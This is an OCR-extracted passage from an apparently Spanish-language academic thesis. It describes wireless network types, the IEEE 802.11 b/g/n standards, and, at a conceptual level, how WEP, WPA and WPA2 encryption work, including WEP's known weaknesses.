las de corto y largo alcance, primero estan las redes inaldmbricas de corto alcance, la
cual aplica tanto a las redes (LAN) por ejemplo como los edificios asociados, las
escuelas y universidades, también las fabricas o las casas, a las redes (PAN) donde las
computadoras portatiles deben estar muy cerca entre si para comunicarse, como a las
redes de area local (LAN) [25].
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Las empresas que suelen conectividad inaldmbrica suelen proporcionar en redes
de largo alcance, estas redes cubren areas extensas, como un area metropolitana
(WMAN), un estado, provincia o pais completamente [25].

Las redes ya mencionadas tienen como principal objetivo proporcionar
cobertura inaldmbrica a nivel mundial, la red inalambrica de area extensa (WWAN) es
la red de largo alcance mas utilizadas, las redes de satélites también se las utilizan para
cuando se necesita una cobertura global [25].

WPAN

El estandar utilizado para las redes inalambricas de &rea personal es el IEEE
802.15, estas redes permiten la comunicacion a distancias muy cortas,
aproximadamente 10 metros, en comparacion con otras redes inaldmbricas, una
conexion a través de una WPAN generalmente requiere de una infraestructura minima,
de tal modo que esto permite la ejecucidn de medios pequefios, eficaz en energia y de
bajo costo en una variedad de dispositivos, tales como teléfonos inteligentes y PDAs,
etc. Este tipo de redes tienen bajas velocidades de transmision y consumen poca
energia. Se basan en Bluetooth, IrDA, UWB y ZigBee [26].

WLAN

Las redes inalambricas de area local se utilizan principalmente en hogares,
escuelas, salas de computadoras. Esto permite que los usuarios se muevan dentro de un
area de cobertura local y asi puedan seguir conectados a la red. Estas redes se
comercializan bajo la marca de Wi-Fi y trabajan con el estandar IEEE 802.11 ya que
es una tecnologia de redes de area local inalambricas de paquetes no guiados el cual
transmite las sefiales mediante ondas electromagnéticas de radio ya sea de 2.4 GHz o
5GHz [26].

A pesar de que al principio el ancho de banda era significativamente menor en
comparacion con las redes guiadas que basicamente utilizan cableado, hoy en la
actualidad, con la version hasta 600 Mbps sobre todo en corriente alterna a 1 Gbps, lo
cual hace una diferencia es muy insignificantes en las instalaciones profesionales. La
expansion se ve favorecida por la reduccion de los costos de los componentes, sus

estandares y la produccion a gran escala de estos. Lo cual significa que tanto a los
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usuarios como a los dispositivos permiten mantenerse conectados y asi disfrutar de
cualquier movimiento que realicen, esto se da siempre y cuando estas dos tecnologias
funciones juntas para poder compartir toda clase de informacion [26].

WMAN

En el tercer grupo de las redes inalambricas se encuentran las redes de area
metropolitana, aquellas se basan con el estdndar IEEE 802.16 que con frecuencia se
conoce como WiIMAX (Interoperalidad mundial para acceso de ondas de radio). Esta
tecnologia es una arquitectura punto a multipunto que permite la transmision de datos
a una alta velocidad por medio de redes inaldmbricas de area metropolitana, el cual
permite que el WiMAX pueda conectarse con las redes LAN el cual son las redes mas
pequefias y es asi como surge la red WMAN, se puede establecer redes entre ciudades
sin la necesidad de utilizar cableado [27].

Las redes metropolitanas tienen como objetivo principal proporcionar enlaces
a distancias largas a grandes velocidades. Es por lo que el WiMax se encuentra en ese
rango ya que este no ha sido completamente estandarizado y se espera un alcance de
hasta 50 km de distancias [27].

WWAN

Las redes inalambricas de area amplia suelen usar frecuencias con licenciay se
extienden mas alld de los 50 kilometros. Estas redes pueden mantenerse en areas
extensas, ya sean como ciudades o paises por medio de varios sistemas de satélites o
también ubicaciones con antena atendidas por un proveedor de servicios de internet.
La telefonia movil y los satélites son las dos tecnologias de mayor prioridad que se
encuentran disponibles [27].

Las redes de &rea extensa utilizan varias antenas para dividir el area de
cobertura en celdas. Las tecnologias GSM, GPRS y UMTS aquellas mencionadas son
ejemplos de tecnologias que se utilizan largamente en lo que son comunicaciones
telefonicas moviles. Representan una alternativa para establecer redes inalambricas
entre dos puntos muy lejanos que superen los limites fisicos anteriores. Sin embargo,
utilizar WPAN, WLAN o WMAN, estas utilizan bandas de frecuencia libres sin costo,

ya que resulta mas economico. Es por eso importante recordar que hay una cantidad
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limitada de licencias de telefonia movil que pueden ser otorgadas por el gobierno de
cada nacién por medio de concesiones a las operadoras de telecomunicaciones para asi
poder ser explotadas comercialmente [27].

Ventajas y desventajas de las redes inalambricas

Ventajas

Basada en estandares y con certificacion Wi-Fi: los productos inaldmbricos
pueden funcionar con otros productos inalambricos certificados de otros fabricantes de
redes es porque el Wi-Fi es un estandar firme en la industria de la transmisién de datos.
Aquellos usuarios podran evitar los altos costos y la seleccion limitada de soluciones
inaldmbricas con un sistema basado en Wi-Fi, eligiendo una solucién inaldmbrica que
puede integrarse completamente con redes Ethernet y Fast Ethernet llegando asi a
trabajar sin ningun inconveniente en un sistema de red inalambrica [28].

En el &mbito econdmico se considera viable la instalacion de redes inalambricas
de tal modo que no necesitan de conexion por medio cableado, incluso ciertos equipos
inalambricos suelen ser menos costos y no requieren de conexién fisica[28].

Las comunicaciones inalambricas pueden permitir la venta de nuevos bienes o
servicios. Por ejemplo, distintas &reas como los aeropuertos, estaciones de tren, hoteles,
cafés y restaurantes ofrecen conexion Wi-Fi a traves de hotspots, lo que permite a los
usuarios conectar sus equipos a sus oficinas mientras viajan [28].

Desventajas

Interferencias: Los teléfonos inalambricos con la misma frecuencia, las redes
inaldmbricas cercanas o incluso otros equipos conectados inalambricamente a la misma
red pueden ser los responsables. Si hay otras redes inaldmbricas en el mismo edificio
o si hay otras fuentes de sefiales de radio, puede haber interferencias. Esto podria
resultar en una comunicacion deficiente o, en casos extremos, en la pérdida completa
de la comunicacion inalambrica [29].

Velocidad: Las redes inalambricas solo pueden alcanzar 54 Mbps, mientras que
las redes cableadas pueden alcanzar 100 Mbps, por ende, la transmision inalambrica

puede ser menos eficiente y llevar mas tiempo que las redes cableadas [29].
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Seguridad: Mientras que en una red inaldmbrica el medio de transmision es el
aire, en una red cableada es necesario tener acceso al medio de transmision [30].

Cobertura: Conseguir una cobertura consistente en algunos edificios puede ser
dificil, es por lo que resulta en puntos negros donde no hay cobertura. Ya que puede
ser dificil recibir sefiales via radio en estructuras construidas con materiales de refuerzo
de acero[31].

2.2.2.Protocolos de seguridad estandar IEEE 802.11

La norma IEEE 802.11 original marcd un hito en el desarrollo de las redes
inalambricas. La velocidad de transmision de 2 Mbps fue una mejora significativa en
comparacion con las tecnologias inalambricas anteriores. No obstante, en
circunstancias no ideales, la velocidad disminuia a 1 Mbps, lo que sigue siendo una
mejora significativa en comparacion con las normas inalambricas anteriores [32].

El desarrollo de la primera norma Wi-Fi en 1997 fue el resultado de esta norma,
que abrio la puerta a una adopcion generalizada de la comunicacion inalambrica, a su
vez la transferencia de datos a una velocidad de 1 Mbps era posible con esta norma, lo
gue supuso un avance significativo en su momento. Por otro lado, Permitio el acceso
inaldmbrico a Internet, lo que abrié un mundo de posibilidades para la comunicacion,

el entretenimiento y el intercambio de datos a distancia [33].
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La tecnologia inalambrica ha seguido evolucionando a un ritmo vertiginoso
desde entonces. Las velocidades wifi-actuales pueden alcanzar hasta 10 Ghps, lo que
permite la transmisidn sin interrupciones de contenido de video y audio de alta calidad.
Esto ha cambiado la forma en que las personas consumen los medios de comunicacion
y ha permitido que las empresas brinden a sus clientes servicios nuevos e innovadores,
aungue los estandares actuales pueden hacer que la norma IEEE 802.11 original

parezca obsoleta, la figura 2 presenta la clasificacion de las clases de estos protocolos

gue operan en 2.4 GHZ.
Estandar IEEE
802.11
A4 y
Estandar IEEE Estandar |EEE Estandar IEEE
80211 b 802.11¢g 80211 n
4 4 L4
Frecuencia: 2.4 GHz Frecuencia: 2.4 GHz FrecuenciaélZ-i.;i Gy a4
Velocidad teorica: 11 Mbps Velocidad tedrica: 54 Mbps : o,
Velocidad practica: 6 Mbps Velocidad practica: 22Mbps Valocioad teonica. 600 Mboe
; ; Velocidad practica: 100 Mbps
Ancho de banda: 22 MHz Ancho de banda: 20 MHz i
; _ Ancho de banda: 20/40 MHz
Enlace: 460 m Enlace: 406 m :
Enlace: 820 m

Figura 2: Caracteristicas del estandar 802.11 b/g/n

Fuente: Elaborado por autor

ESTANDAR IEEE: 802.11 B

Esta normativa opera en la frecuencia de 2.4GHz, es la version posterior de la
normativa IEEE 802.11, el cambio se basa en la capa fisica en donde este puede resistir
velocidades ya sea de 5,5 Mbps y 11 Mbps.
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En el tiempo que se dio a conocer este estdndar garantizd la conexién y
compatibilidad de dispositivos, siendo una de las mas usadas y populares, pero también
tuvo desventajas, como las interferencias ya que a base de la existencia de hornos,
camaras, microondas, teléfonos inalambricos y dispositivos que hacian uso de
bluetooth, hacian que la frecuencia sea obstruida por la propagacion de sefial, teniendo
como resultado baja calidad en la conexion y estabilidad inaldmbrica [34].

Hoy en dia, este estandar sigue estando activo ya sea por redes domésticas,
oficinas, etc. Porque debido a su compatibilidad y a las velocidades de transmision
proporciona un internet constante, rapido e integro [35]. Cabe mencionar que el pionero
802.11 fue aquel que ayudo para tener hoy en dia conexion inalambrica, a pesar de no
ser lo mejor, no se la cuestiona a pesar de la evolucién continua y la integracion del
IoT, este estandar sigue siendo significativo en la configuracién del mafiana[35].
ESTANDAR IEEE: 802.11 G

Los inicios de esté estandar fue en el afio 2003, el cual consta de una evolucion
y mejora con respecto a su clasificacion anterior, proponiendo a los usuarios mayor
velocidad y rendimiento, sin optar la compatibilidad de dispositivos, mejorando de esta
manera la tasa de transmision de datos [36].

Entre los avances méas destacados de 802.11g esté el incremento en la velocidad
de transferencia de datos, que paso de los 11 Mbps ofrecidos por 802.11b a 54 Mbps,
de tal manera que este aumento se logré mediante el uso de modulacibn OFDM
(Multiplexacion por Division de Frecuencia Ortogonal), una técnica que ya se habia
empleado en 802.11a , esta modulacion optimiza el canal de transmision dividiéndolo
en multiples subportadoras, lo que mejora la eficiencia y minimiza las interferencias
entre sefales [37].

Aunque 802.11g adoptdé mejoras de 802.11a en cuanto a modulacion y
codificacion, conservo la capacidad de operar en la frecuencia de 2.4 GHz, que era
utilizada por 802.11b, esta caracteristica fue primordial para garantizar la
retrocompatibilidad, permitiendo que los dispositivos basados en 802.11g se
conectaran con aquellos que usaban 802.11b, aunque a velocidades mas lentas, la

posibilidad de usar ambos estandares facilitd una transicion gradual [35].
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Otra cualidad del estandar 802.11g es la de ofrecer un alcance mayor ademés
de una mejora en la calidad de sefial en comparacion al 802.11a puesto que operaba en
la banda 5GHz y su alcance era limitado por la atenuacion en esa frecuencia. La banda
2.4GHz es quien esta méas vulnerable ante las interferencias generadas por otros
dispositivos cercanos, tales como un microondas o teléfonos inaldmbricos, pese a esto
el 802.11g pudo mantener un balance idoneo entre la velocidad y la cobertura
convirtiéndose en el estandar mas popular dentro de las redes domésticas y en oficinas.
[33].

También, la existencia de nuevas y eficientes técnicas de codificacion han
logrado mejorar la disposicién de la transmision de datos sin afectar en mayor grado la
calidad de las sefiales brindandoles una mayor experiencia a los usuarios al navegar por
la internet, al transmitir video o enviar archivos. Al comparar el rendimiento de los
estandares 802.11g, y el 802.11a en entornos mas densos, se pudo notar que el 802.11g
es mucho més bajo, sin embargo, posee una mayor flexibilidad y cobertura que lo hace
mas idoneo en entornos generales. [37].

En el campo de la seguridad inaldmbrica, el estandar 802.11g mantuvo los
protocolos que el estdndar 802.11b, uno de estos fue el protocolo WEP (Wired
Equivalent Privacy), sin embargo, ese protocolo padecia de vulnerabilidades por lo que
el estdndar agreg6 métodos de seguridad mas robustos, tales como el WPA y el WPA2
los cuales tenian incorporados el cifrado AES (Advanced Encryption Standard)
ofreciendo mas proteccion, razén por la cual se han ido adaptando tanto en entornos
empresariales como en las redes domésticas, siendo en empresas su uso mas favorables

debido a ataques que vulneraban la seguridad de sus datos. [32].

La aceptacion que tuvo el estandar 802.11g fue positiva gracias al equilibrio
que proveia entre la compatibilidad, velocidad y cobertura para los dispositivos
ofreciéndoles la capacidad de transmitir datos a velocidades decentes, pero siempre
manteniendo la capacidad de interoperar con otros dispositivos que utilizaban el
estandar 802.11b, durante varios afios logro ser el estandar mas usado hasta que fue
superado por el 802.11n quien poseia cualidades mas avanzadas. [36].

ESTANDAR IEEE: 802.11N
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El estandar IEEE 802.11n también conocido como “WiFi n” fue considerado
un hito en la evolucién de las redes inalambricas teniendo como objetivo la mejoria de
la velocidad y rango de cobertura de las redes WiFi a escalas significativas, siendo
capaz de incorporar nuevas tecnologias revolucionarias marcando una notable
diferencia entre sus predecesores. Estos avances no solo mejoraron el rendimiento
general, sino que también proporcionaron mayor estabilidad y una mejor capacidad
para soportar multiples dispositivos conectados al mismo tiempo [33].

Una de las mejoras clave del estandar 802.11n fue la introduccion de la
tecnologia conocida como MIMO que significa “Multiple Input, Multiple Output”, esta
permite el envio y recepcion simultdneos de multiples flujos de datos utilizando varias
antenas, de tal forma que optimiza el uso del espectro y permite que los dispositivos
que emplean este estandar alcancen velocidades significativamente superiores a las de
los anteriores, sin embargo una de las grandes diferencias que posee el estandar
802.11n con respecto a las anteriores es el uso de mdltiples canales de transmision
simultaneamente logrando aumentar la velocidad de transferencia de datos, mientras
que las versiones antiguas usaban un Gnico canal para transmitir. [37].

También tiene la capacidad de operar dos bandas de frecuencia siendo estas la
2.4GHz y la 5GHz, esta ventaja lo transforma en la opcion méas viable y menos
propensa a las interferencias de terceros, aunque la banda 2.4GHz es la méas usada por
los dispositivos inaldmbricos, tiende a estar saturado por la presencia de otros
dispositivos que convergen en la misma frecuencia, por ejemplo, los teléfonos
inalambricos. Es por esto que al implementar el uso de la banda 5GHz se logra mitigar
dicha problematica y a su vez garantiza un rendimiento mucho mas estable y una alta
calidad dentro de entornos congestionados por maltiples dispositivos inalambricos.
[37].

El estdndar muestra una evolucion con respecto al ancho de banda, de tal
manera que las clases anteriores hacian uso de canales de 20 MHz, pero a medida que
se dio la progreso la clase de 802.11n permiti6 hacer uso de 40 MHz en los canales, el

cual doblo la cantidad que posee la capacidad de transmision, beneficiando las
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velocidades hasta 600 Mbps, cabe recalcar que se considera esta cantidad sin tener en
cuenta el entorno real [37].

Mientras tanto, con respecto a la cobertura que ofrece este estandar, se puede
notar que supera con creces a las versiones anteriores ya que posee un alcance mucho
mas extenso debido a nuevas tecnologias como el beamforming, este consiste en
concentrar la sefial hacia el equipo receptor de manera eficiente, logrando asi optimizar
la cobertura y abarcando zonas amplias en donde hay poca o nula sefial. Dicha cualidad
es, en esencia, de gran utilidad en ambientes grandes y con obstrucciones como amplias
zonas de trabajo o condominios de viviendas en donde la sefial WiFi puede ser
obstaculizada por elementos estructurales de la zona. [35].

Gracias a todas estas mejoras, 802.11n fue adoptado masivamente en una
amplia gama de dispositivos, incluidos enrutadores, portatiles, teléfonos inteligentes,
tabletas y otros equipos, como cdmaras de seguridad y electrodomésticos inteligentes.
Su capacidad para manejar varios usuarios y aplicaciones exigentes lo consolidé como
el estandar dominante durante varios afios, antes de ser reemplazado por 802.11ac, que
introdujo aln mayores mejoras en velocidad y eficiencia [37].

Por otro lado, con respecto a la seguridad que ofrece el estandar 802.11n, no
existio muchos cambios por lo que siguio siendo compatible con los protocolos WEP,
WPA, WPA2, siendo esta Ultima la méas utilizada debido a que fue considerada el
protocolo mas seguro en la version anterior por el cifrado AES que posee, y aunque
mantuvo los protocolos de sus predecesores, el aumento de la velocidad de transmisién
aportd con la implementacion de nuevas medidas de seguridad inalambrica méas
robusta sin la necesidad de devaluar el rendimiento adquirido en la nueva version [35].

2.2.3.Seguridad en tecnologia inalambrica

La proteccién de las comunicaciones inaldmbricas es un factor esencial para
salvaguardar tanto la confidencialidad como la integridad de los datos que se
transmiten. Para lograr esta seguridad, se sustentan en tres pilares fundamentales:

1. Autenticacion

2. Confidencialidad

3. Integridad



47

Estos elementos se integran de manera sinérgica para resguardar las redes
inalambricas de diversas amenazas y ataques [38].

El proceso de autenticacion se encarga de verificar que los nodos de la red son
efectivamente quienes afirman ser. Esta verificacion se realiza, por lo general, mediante
un secreto compartido, que tipicamente consiste en una combinacion de nombre de
usuario y contrasefia. No obstante, debido al avance tecnolégico y la complejidad de
los ataques, se han creado métodos de autenticacion méas avanzados [38].

En entornos corporativos, se emplean tecnologias como certificados digitales y
tarjetas inteligentes, de tal forma que estas herramientas permiten comprobar la
posesion de un secreto compartido de manera mas segura, lo que dificulta su robo o
falsificacion y afiade una capa extra de proteccion a la red [38].

La confidencialidad tiene como objetivo proteger la informacion transmitida
contra accesos no autorizados. Esto se consigue principalmente mediante el cifrado,
que transforma el texto original en un formato ilegible utilizando algoritmos
especificos, es por eso que el proceso requiere el uso de una clave, que es indispensable
para revertir el cifrado y recuperar el mensaje original [39].

Existen distintas modalidades de cifrado, tales como el cifrado simétrico, en
donde se utiliza la misma clave para ambos procesos, y el cifrado asimétrico, este
emplea un par de claves: una publica y otra privada. Siendo este Ultimo muy importante
en los protocolos SSL/TLS quienes permiten el acceso a la navegacion dentro de la red,
asi mismo, al implementar protocolos de seguridad se asegura la confidencialidad de
los datos transmitidos y recibidos dentro de la red, un ejemplo claro es la utilizacion de
Redes Privadas Virtuales o con sus siglas “VPN”, el cual consiste en la creacion de un
tunel por donde se transmiten los datos de manera segura con la finalidad de que solo
los usuarios autorizados puedan acceder a la informacidn que pasa por ese tramo [39].

Esto permite mantener la informacion transmitida sin alteraciones en el camino,
asegurando la integridad de los datos, esto se logra mediante métodos conocidos como
cddigos de autenticacidon de mensajes (MAC) o el uso de firmas digitales, permitiendo
que el receptor pueda verificar la autenticidad del mensaje recibido sin que haya sido

alterado por terceros, asi mismo al utilizar marcas de tiempo o0 numeros de secuencias
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aportan a la prevencion de ataques, en especial al de repeticion, quien consiste en
interceptar y retransmitir un mensaje con el objetivo de embaucar al destinatario. Sin
embargo, la efectividad de la proteccién de integridad depende de su combinacion con
el cifrado, ya que un atacante puede modificar y reenviar un mensaje si logra acceder
a él [39].

De tal manera que es importante reconocer la seguridad ya que no es un
concepto absoluto, mas bien cada medida defensiva puede ser vulnerable a ataques, y
con el tiempo, los atacantes desarrollan métodos para sortear estas defensas, la relacion
entre la fortaleza de la defensa y el tiempo necesario para vulnerarla es clave; a medida
que las medidas de seguridad se vuelven mas estrictas, también aumentan la

complejidad y el esfuerzo requeridos para llevar a cabo un ataque exitoso [39].

Es por eso que las organizaciones deben tomar la decision de invertir en
ciberseguridad, esta accion implica evaluar de manera periodica las vulnerabilidades
que puedan tener sus redes, asi mismo, mantener actualizado los protocolos de
seguridad disminuye las posibilidades de ser hackeados y por Gltimo, capacitar a los
clientes sobre las acciones mas seguras al momento de utilizar tecnologias
inaldmbricas. Sin embargo, el uso de herramientas que faciliten la realizacion de
simulacion de ataques y pruebas de penetracion pueden ayudar de manera significativa
a identificar las vulnerabilidades que existen en la red, ayudando asi a las instituciones
a corregir los problemas antes de sufrir un ataque de gravedad a sus sistemas
informaticos [39].

2.2.4.Redes de cifrado de autenticacion

Mantener la integridad de la informacion es una prioridad fundamental en esta
era digital debido a la rapidez con que la informacidn se mueve a través de redes y
sistemas conectados. La necesidad de proteger la integridad y confidencialidad de los
datos es cada vez méas importante a medida que se desarrollan las ciber amenazas y ser
maés sofisticado. Las redes de autenticacion juegan un papel importante en esta
situacion al proporcionar una capa adicional de proteccion para las comunicaciones,

asegurando que los datos que se transmiten sean seguros [36].
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El cifrado de autenticacion utiliza algoritmos criptogréaficos que permiten
proteger los datos durante la transmision y confirmar la veracidad de las partes
involucradas en la comunicacién, brindando asi la seguridad de la integridad y
confidencialidad de los datos, existen dos protocolos de conexion segura, la cuales son:
SLL y el Ipsec ya que son los més usados cuando se autentica las redes cifradas [40].
Tipos de cifrados inaldmbricos

Cifrado WEP

Este cifrado es un mecanismo de seguridad utilizado en redes inseguras para
proteger la confidencialidad de los datos transmitidos, en sus inicios fue desarrollado
como solucion para proporcionar un nivel de seguridad comparable al de las redes
cableadas. Sin embargo, a lo largo de los afios, se ha demostrado que el protocolo WEP
tiene numerosas fallas y vulnerabilidades, este protocolo permite proteger la privacidad
de los datos transmitidos a través de una red insegura [40].

Cuando se implementa una clave WEP, los mensajes que se intercambian en la
red se encuentran cifrados, haciendo que los datos transmitidos estén ocultos para
cualquiera que intente interceptarlos sin autorizacion. Sin embargo, una de las
principales limitaciones del WEP radica en su método de cifrado, de tal manera que, al
hacer uso de una sola clave, se genera un riesgo considerable, ya que, una vez que un
atacante descifra la clave, puede acceder facilmente a todos los datos que circulan por
la red [40].
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En la figura 3 se puede observar el esquema de cifrado que utiliza el protocolo
WEP, el cual esta basado en el cifrado de flujo simétrico “RC4” el cual usa una clave
de 40 bits y una longitud considerada debil en la época actual, este protocolo aplica dos
variables clave cuando el cifrado y descifrado estd en accion (Un vector de
inicializacion “IV” junto a una clave WEP compartida). El IV es un valor de 3 bytes
(24 bits) que se combina con la clave WEP expresada en digitos hexadecimales [40].

Integnty check
(CRC32)

A

Input . X \
1p: Plamtext ,IC — XOR |
Value N

: Output
IV | Ciphertext >

IV | SharedKey ——| RC4 |

Figura 3: Proceso de cifrado de trama de datos WEP

Fuente: Elaborado por autor.

El proceso de cifrado en WEP comienza con la generacion del vector de
inicializacion (IV), que se combina con la clave secreta compartida. Estos dos
elementos se envian al algoritmo RC4, que genera un flujo de claves (key stream), este
flujo se utiliza para cifrar el texto sin formato mediante una operacion XOR, creando
el texto cifrado, es por ello que, el flujo de claves generado por RC4 depende
significativamente del 1V; no obstante, la limitacion de 24 bits en el 1V hace que se
repita con frecuencia en redes activas, ya que esto permite a un atacante identificar
patrones en el flujo de claves y, eventualmente, deducir la clave compartida, lo que
representa una vulnerabilidad en el sistema WEP, haciendo que pueda ser

comprometido mediante ataques como el "ataque de recuperacion de clave" [41].
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El principal objetivo del protocolo WEP fue evitar ataques de tipo
“intermediario” conocidos por el nombre Man in the Middle (MitM), estos ataques
consisten en interceptar el trafico de la red cuando el atacante se sitla entre dos equipos
que estan en continua comunicacion, con el fin de modificar o robar los datos
transmitidos de un punto a otro. Sin embargo, a medida que han pasado los afios se han
dado a conocer un sin nimeros de vulnerabilidades, la solucion que dieron en aquel
tiempo era aumentar la seguridad con claves mas extensas como claves de 128 bits,
pero esto no fue suficiente para proteger la red [40].

Otra debilidad critica de WEP es el uso de IV relativamente cortos (vectores de
inicializacion), lo que permite a los atacantes recopilar suficientes paquetes cifrados
para deducir la clave usando herramientas especializadas, en la tabla 1 se presentan las
especificaciones de este protocolo ya que, a pesar de estas debilidades, algunas redes
todavia usan WEP. Hay una serie de razones que contribuyen a esto. En algunos casos,
los administradores de red no han actualizado sus recursos a medida que avanzan los
protocolos, como WPA o WPA2, debido a una escasez de tiempo, experiencia o
habilidades, otros casos es que existen dispositivos antiguos que forman parte de la red
y no soportan estos estandares de cifrados que actualmente las otras redes hacen uso,
eso es lo que obliga a seguir haciendo uso de WEP [41].

Algoritmo de cifrado RC4 (Rivest Cipher 4)

40 hits = clave corta
Tamario de clave
104 bits - clave larga
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Total, de 64 bits 0 128 bits incluyendo

el IV
IV (Vector de inicializacion) 24 bits, transmitido en texto claro
Tipo de cifrado Cifrado de flujo (Stream Cipher)

Sistema Abierto
Autenticacion
Clave compartida

Tabla 1. Especificaciones del protocolo WEP.

Fuente: Elaborado por autor.

La figura 4, presenta el esquema del proceso de descifrado en el protocolo WEP
(Wired Equivalent Privacy), que emplea el algoritmo de cifrado RC4 junto con una
verificacion de integridad mediante CRC32. Este procedimiento convierte los datos
cifrados de vuelta en texto claro, aunque también expone algunas de las debilidades
que hacen que WEP sea considerado inseguro en entornos de red actuales [42].

— ] Output
pt [T . IC Pl |
=—4 IV | Ciphertext »XOR | > Plaintext : Y
/ \ / Value text
v i ~ L Ves
~ o ‘ | [ Integnty check [=)
IV | SharedKey ——f RC4 J\ L cren) 1)

Figura 4: Descifrado dé trama de daios WEP

Fuente: Elaborado por autor

Para iniciar el descifrado, se necesitan dos componentes: el texto cifrado y el
vector de inicializacion (IV), en donde el IV es un valor de 24 bits generado de forma
aleatoria para cada transmisién y se incluye en texto claro junto al mensaje cifrado, su
funcidn es afnadir variabilidad al proceso de cifrado, de modo que el flujo de claves sea

distinto incluso si se usa la misma clave compartida. Sin embargo, debido a su corta
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longitud, el IV tiende a repetirse frecuentemente en redes con mucho tréfico, lo cual
representa una vulnerabilidad [42].

El siguiente paso es generar el flujo de claves. Para ello, el IV y la clave
compartida se combinan y se introducen en el algoritmo RC4, el cual produce una
secuencia continua de bits pseudoaleatorios, conocida como key stream, este flujo es
fundamental para el descifrado, ya que al aplicarse mediante una operacion XOR con
el texto cifrado permite recuperar el mensaje original, la operacion XOR es clave en
este proceso, ya que permite revertir el cifrado siempre que el flujo de claves, el IV y
la clave compartida sean correctos [42].

Haciendo uso del operador XOR se logra obtener el “texto en claro” y con el
protocolo WEP se comprueba la integridad de esta con el algoritmo CRC32 (Cyclic
Redundancy Check de 32 bits); al inicio del cifrado, se calcula el valor CRC adjuntado
al mensaje que verifica la integridad. Por otro lado, el procedimiento del descifrado
permite recalcular el valor CRC con el uso del “texto en claro” y se comprueba junto
con el valor de integridad que se incluye dentro de la trama, si los dos coinciden, el
mensaje transmitido es considerado valido e intacto; caso contrario, es posible y se
sospecha que dicho mensaje pudo haber sido modificado y es desechado. [42].

Es importante mencionar que el CRC32 dentro del protocolo WEP posee una
importante limitacion, puesto que fue creado para la deteccion de errores accidentales
en una transmisién pero no para prevenir acciones malintencionadas, por lo que esto
puede permitir al perpetrador que cambie el mensaje y vuelva a calcular el VRV32
valido autorizando que el mensaje modificado logre burlar la verificacion sin generar
sospechas, también, al transmitir en “texto claro” del IV y su limitada longitud permiten
gue un atacante vea patrones y descifre la clave compartida con el uso de ataques de
recuperacion de claves. [42].

Cifrado WPA

(Acceso protegido Wi-Fi ) es una tecnologia de seguridad disefiada para
proteger redes inseguras y garantizar la confidencialidad e integridad de los datos
transmitidos, este protocolo fue creado como una mejora significativa sobre el cifrado

WEP ya que demostro ser inseguro a varios tipos de ataques, este protocolo emplea
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una combinacién de técnicas criptogréficas para proporcionar una sélida capa de
seguridad en las redes Wi-Fi, una de las caracteristicas clave del cifrado WPA es el uso
de un sistema de autenticacion conocido como WPA-PSK o WPA-Personal, que se
basa en una clave compartida o contrasefia predeterminada entre el punto de acceso y
los dispositivos [43].

La figura 5 muestra el proceso de cifrado que se esta llevando a cabo como
parte del protocolo WPA (Wi-Fi Protected Access), que fue desarrollado para mejorar
la seguridad en relacion con su predecesor WEP (Wired Equivalent Privacy) y el
estandar IEEE 802. Ademas, este sistema se caracteriza por el uso de claves temporales
y un mecanismo de proteccion de transmision de datos [43].

Temar DATA =N
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I\ S » Micheal |
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MAC T
1 1-’|)
destination CRC i

'RC4 ' Y Y T
~ MPDU ICV

Keystream » XOR |

:

Cipher text

Figura 5: Proceso de cifrado WPA

Fuente: Elaborado por autor

El proceso del cifrado empieza cuando se obtiene una clave temporal
importante para el WPA siendo la base de esta y se fusiona con dos componentes mas,
el TSC (Contados de Secuencia de Tiempo) y la direccion MAC del receptor, esos

elementos recorren un proceso de combinacion de claves lo que provee una alta
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seguridad en el cifrado, en el cual este procedimiento es de vital importancia ya que
garantiza que aun cuando se usa la misma clave compartida, al mismo tiempo se crea
un flujo distinto de claves por cada transmision realizada, Ademas, los medios
temporales son generados por el sistema R, que es un algoritmo con flujo de claves
donde la salida son bits pseudoaleatorios, mientras que la clave de cifrado generard un
flujo de claves para varias fases de cifrado de datos[43].

En el caso de la transaccion de datos con datos a cifrar (DATA), la informacion
se codifica en un cadigo de integridad del mensaje Ilamado MIC. Este codigo se genera
utilizando el algoritmo "Michael" especifico de WPA que se utiliza para proporcionar
la integridad de los datos durante la transmision. EI MIC realiza funciones de control
destinadas a revelar alteraciones no autorizadas de los datos; si alguien hace un
esfuerzo por afectar el contenido que fue cifrado, el MIC permite al destinatario
entender que los datos fueron alterados ya que el cédigo no se ajusta al que fue
calculado en el receptor, por lo tanto, este mecanismo es importante en el
mantenimiento de la integridad de la comunicacion [43].

Después de la generacion del MIC, los datos y el MIC y ICV se incrustan en el
MPDU. EI ICV se calcula mediante la verificacion de redundancia ciclica (CRC) que
captura la integridad integral de los datos que se estan transmitiendo en la red, este
valor de ICV con el mensaje se transmite para permitir la deteccion de datos erroneos
no intencionales, ya que este paso garantiza que los datos no han sido manipulados
durante los procesos de transmision a través de la red [43].

Al generar el flujo de claves y preparar el mensaje con un MIC y un ICV, se
lleva a cabo la operacion XOR. En esta etapa, el flujo de claves producido por RC4 se
aplica a los datos encapsulados (MPDU + MIC + ICV) a través de una operacion ldgica
XOR, ya que convierte los identificaciones de seguridad en texto cifrado que no es
susceptible al acceso no autorizado; la funcion de la operacion XOR es conveniente
porque permite la descifrado del texto en el otro lado, siempre que se disponga del
mismo flujo de claves y de los parametros relevantes [43].

Cifrado y autenticacion WPA2
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Este protocolo WPA2 o también denominado el estandar IEEE 802.11i se
publicé en el afio 2004, este es un protocolo de seguridad en las redes inalambricas que
estd en contra de accesos no autorizados y ataques de hackers, este estandar es uno de
los mas seguros en todo el mundo ya que garantiza la confidencialidad e integridad de
la informacidn transmitida. WPA2 se basa en un conjunto de algoritmos de cifrado y
autenticacion [44].

El cifrado WPAZ2 utiliza el protocolo CCMP (Counter Mode with Cipher Block
Chaining Message Authentication Standard), junto con el algoritmo de cifrado AES
(Advanced Encryption Standard), este proceso fue disefiado con la finalidad de
proteger la confidencialidad y a su vez la integridad de los datos transmitidos en la red,
en la figura 6 se muestra el proceso del cifrado WPA2, en donde el encabezado MAC
Header es aquel que contiene informacion de control de acceso al medio, como las
direcciones de los dispositivos (emisor - receptor), hay que considerar que este
encabezado no se cifra ya que es necesario para la autenticacion y el control del tréfico.

MAC = 2
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( Build / Build
VAAD ‘Nonce/
— - =
Nonce }7 P |
¥ AES-CCMP (-7
v ) | |
Build CCMP
header |
| l !
MAC CcCCMP Encrvpted | Encrypted
Header Header plaintext MIC

Figura 6: Proceso de cifrado WPA2

Fuente: Elaborado por autor.
Luego de esto se construye el AAD (Additional Authentication Data), ya que,
es un dato adicional de autenticacion que contiene partes del encabezado MAC, el rol

de este componente se basa en la integridad del mensaje de tal modo que permite
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verificar que los datos no hayan sido alterados durante la transmision, asegurando asi
